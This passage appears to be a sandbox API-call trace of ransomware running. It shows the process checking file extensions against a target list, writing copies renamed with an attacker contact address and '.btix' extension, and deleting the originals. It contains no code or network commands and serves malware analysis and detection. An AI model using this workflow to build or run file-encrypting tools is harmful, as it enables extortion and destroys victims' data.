(lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 1 [0041.819] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0041.819] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0041.819] lstrlenW (lpString=".doc") returned 4 [0041.819] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0041.820] lstrlenW (lpString=".docx") returned 5 [0041.820] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0041.820] lstrlenW (lpString=".pdf") returned 4 [0041.820] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0041.820] lstrlenW (lpString=".xls") returned 4 [0041.820] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0041.820] lstrlenW (lpString=".xlsx") returned 5 [0041.820] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0041.820] lstrlenW (lpString=".ppt") returned 4 [0041.820] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0041.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0041.820] lstrlenW (lpString=".zip") returned 4 [0041.820] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0041.820] lstrlenW (lpString=".rar") returned 4 [0041.820] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0041.820] lstrlenW (lpString=".bz2") returned 4 [0041.820] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0041.820] lstrlenW (lpString=".7z") returned 3 [0041.820] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0041.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0041.820] lstrlenW (lpString=".dbf") returned 4 [0041.820] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0041.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0041.820] lstrlenW (lpString=".1cd") returned 4 [0041.820] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0041.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0041.820] lstrlenW (lpString=".jpg") returned 4 [0041.820] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0041.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0041.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0041.820] lstrlenW (lpString=".doc") returned 4 [0041.820] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0041.820] lstrlenW (lpString=".docx") returned 5 [0041.820] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0041.821] lstrlenW (lpString=".pdf") returned 4 [0041.821] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0041.821] lstrlenW (lpString=".xls") returned 4 [0041.821] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0041.821] lstrlenW (lpString=".xlsx") returned 5 [0041.821] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0041.821] lstrlenW (lpString=".ppt") returned 4 [0041.821] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0041.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0041.821] lstrlenW (lpString=".zip") returned 4 [0041.821] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0041.821] lstrlenW (lpString=".rar") returned 4 [0041.821] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0041.821] lstrlenW (lpString=".bz2") returned 4 [0041.821] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0041.821] lstrlenW (lpString=".7z") returned 3 [0041.821] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0041.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0041.821] lstrlenW (lpString=".dbf") returned 4 [0041.821] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0041.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0041.821] lstrlenW (lpString=".1cd") returned 4 [0041.821] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0041.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0041.821] lstrlenW (lpString=".jpg") returned 4 [0041.821] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0041.821] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0041.821] lstrlenW (lpString="LocalizedData.xml") returned 17 [0041.821] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0042.199] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=60816) returned 1 [0042.199] CloseHandle (hObject=0x368) returned 1 [0042.199] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80 [0042.199] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0042.199] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0042.199] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.199] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.199] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0042.200] GetLastError () returned 0x0 [0042.200] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xed90, lpOverlapped=0x0) returned 1 [0042.297] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xeda0, lpOverlapped=0x0) returned 1 [0042.303] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0042.303] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xf6, lpOverlapped=0x0) returned 1 [0042.303] SetEndOfFile (hFile=0x36c) returned 1 [0042.303] CloseHandle (hObject=0x36c) returned 1 [0042.305] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.305] SetEndOfFile (hFile=0x368) returned 1 [0042.307] CloseHandle (hObject=0x368) returned 1 [0042.307] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0042.307] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 1 [0042.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0042.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0042.307] lstrlenW (lpString=".doc") returned 4 [0042.307] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.307] lstrlenW (lpString=".docx") returned 5 [0042.307] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0042.308] lstrlenW (lpString=".pdf") returned 4 [0042.308] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.308] lstrlenW (lpString=".xls") returned 4 [0042.308] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.308] lstrlenW (lpString=".xlsx") returned 5 [0042.308] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0042.308] lstrlenW (lpString=".ppt") returned 4 [0042.308] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.308] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0042.308] lstrlenW (lpString=".zip") returned 4 [0042.308] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.308] lstrlenW (lpString=".rar") returned 4 [0042.308] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.308] lstrlenW (lpString=".bz2") returned 4 [0042.308] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.308] lstrlenW (lpString=".7z") returned 3 [0042.308] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.308] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0042.308] lstrlenW (lpString=".dbf") returned 4 [0042.308] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.308] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0042.308] lstrlenW (lpString=".1cd") returned 4 [0042.308] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.308] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0042.308] lstrlenW (lpString=".jpg") returned 4 [0042.308] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.309] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0042.309] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0042.309] lstrlenW (lpString=".doc") returned 4 [0042.309] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.309] lstrlenW (lpString=".docx") returned 5 [0042.309] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0042.309] lstrlenW (lpString=".pdf") returned 4 [0042.309] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.317] lstrlenW (lpString=".xls") returned 4 [0042.317] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.317] lstrlenW (lpString=".xlsx") returned 5 [0042.317] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0042.317] lstrlenW (lpString=".ppt") returned 4 [0042.317] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0042.317] lstrlenW (lpString=".zip") returned 4 [0042.317] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.317] lstrlenW (lpString=".rar") returned 4 [0042.317] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.317] lstrlenW (lpString=".bz2") returned 4 [0042.317] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.317] lstrlenW (lpString=".7z") returned 3 [0042.317] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0042.317] lstrlenW (lpString=".dbf") returned 4 [0042.317] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0042.317] lstrlenW (lpString=".1cd") returned 4 [0042.317] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.318] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0042.318] lstrlenW (lpString=".jpg") returned 4 [0042.318] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.318] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0042.318] lstrlenW (lpString="LocalizedData.xml") returned 17 [0042.318] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0042.318] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=77232) returned 1 [0042.318] CloseHandle (hObject=0x368) returned 1 [0042.318] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80 [0042.319] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0042.319] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0042.319] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.319] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.319] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0042.319] GetLastError () returned 0x0 [0042.319] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x12db0, lpOverlapped=0x0) returned 1 [0042.354] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x12dc0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x12dc0, lpOverlapped=0x0) returned 1 [0042.356] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0042.356] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xf6, lpOverlapped=0x0) returned 1 [0042.356] SetEndOfFile (hFile=0x36c) returned 1 [0042.356] CloseHandle (hObject=0x36c) returned 1 [0042.358] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.358] SetEndOfFile (hFile=0x368) returned 1 [0042.359] CloseHandle (hObject=0x368) returned 1 [0042.359] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0042.359] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 1 [0042.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0042.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0042.359] lstrlenW (lpString=".doc") returned 4 [0042.359] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.359] lstrlenW (lpString=".docx") returned 5 [0042.359] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0042.359] lstrlenW (lpString=".pdf") returned 4 [0042.359] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.359] lstrlenW (lpString=".xls") returned 4 [0042.360] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.360] lstrlenW (lpString=".xlsx") returned 5 [0042.360] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0042.360] lstrlenW (lpString=".ppt") returned 4 [0042.360] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0042.360] lstrlenW (lpString=".zip") returned 4 [0042.360] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.360] lstrlenW (lpString=".rar") returned 4 [0042.360] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.360] lstrlenW (lpString=".bz2") returned 4 [0042.360] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.360] lstrlenW (lpString=".7z") returned 3 [0042.360] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0042.360] lstrlenW (lpString=".dbf") returned 4 [0042.360] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0042.360] lstrlenW (lpString=".1cd") returned 4 [0042.360] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0042.360] lstrlenW (lpString=".jpg") returned 4 [0042.360] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0042.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0042.360] lstrlenW (lpString=".doc") returned 4 [0042.360] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.360] lstrlenW (lpString=".docx") returned 5 [0042.360] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0042.360] lstrlenW (lpString=".pdf") returned 4 [0042.360] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.360] lstrlenW (lpString=".xls") returned 4 [0042.360] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.360] lstrlenW (lpString=".xlsx") returned 5 [0042.360] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0042.361] lstrlenW (lpString=".ppt") returned 4 [0042.361] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0042.361] lstrlenW (lpString=".zip") returned 4 [0042.361] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.361] lstrlenW (lpString=".rar") returned 4 [0042.361] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.361] lstrlenW (lpString=".bz2") returned 4 [0042.361] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.361] lstrlenW (lpString=".7z") returned 3 [0042.361] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0042.361] lstrlenW (lpString=".dbf") returned 4 [0042.361] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0042.361] lstrlenW (lpString=".1cd") returned 4 [0042.361] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0042.361] lstrlenW (lpString=".jpg") returned 4 [0042.361] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.361] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0042.361] lstrlenW (lpString="eula.rtf") returned 8 [0042.361] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0042.361] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=3526) returned 1 [0042.362] CloseHandle (hObject=0x368) returned 1 [0042.362] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80 [0042.362] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0042.362] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0042.362] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.362] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.362] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0042.362] GetLastError () returned 0x0 [0042.362] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xdc6, lpOverlapped=0x0) returned 1 [0042.519] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xdd0, lpOverlapped=0x0) returned 1 [0042.520] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0042.520] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xe4, lpOverlapped=0x0) returned 1 [0042.521] SetEndOfFile (hFile=0x36c) returned 1 [0043.358] CloseHandle (hObject=0x36c) returned 1 [0043.359] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.359] SetEndOfFile (hFile=0x368) returned 1 [0043.359] CloseHandle (hObject=0x368) returned 1 [0043.359] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.360] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 1 [0043.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0043.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0043.360] lstrlenW (lpString=".doc") returned 4 [0043.360] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.360] lstrlenW (lpString=".docx") returned 5 [0043.360] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.360] lstrlenW (lpString=".pdf") returned 4 [0043.360] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.360] lstrlenW (lpString=".xls") returned 4 [0043.360] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.360] lstrlenW (lpString=".xlsx") returned 5 [0043.360] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.360] lstrlenW (lpString=".ppt") returned 4 [0043.360] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0043.360] lstrlenW (lpString=".zip") returned 4 [0043.360] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.360] lstrlenW (lpString=".rar") returned 4 [0043.360] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.360] lstrlenW (lpString=".bz2") returned 4 [0043.360] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.361] lstrlenW (lpString=".7z") returned 3 [0043.361] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0043.361] lstrlenW (lpString=".dbf") returned 4 [0043.361] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0043.361] lstrlenW (lpString=".1cd") returned 4 [0043.361] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0043.361] lstrlenW (lpString=".jpg") returned 4 [0043.361] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0043.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0043.361] lstrlenW (lpString=".doc") returned 4 [0043.361] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.361] lstrlenW (lpString=".docx") returned 5 [0043.361] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.361] lstrlenW (lpString=".pdf") returned 4 [0043.361] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.361] lstrlenW (lpString=".xls") returned 4 [0043.361] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.361] lstrlenW (lpString=".xlsx") returned 5 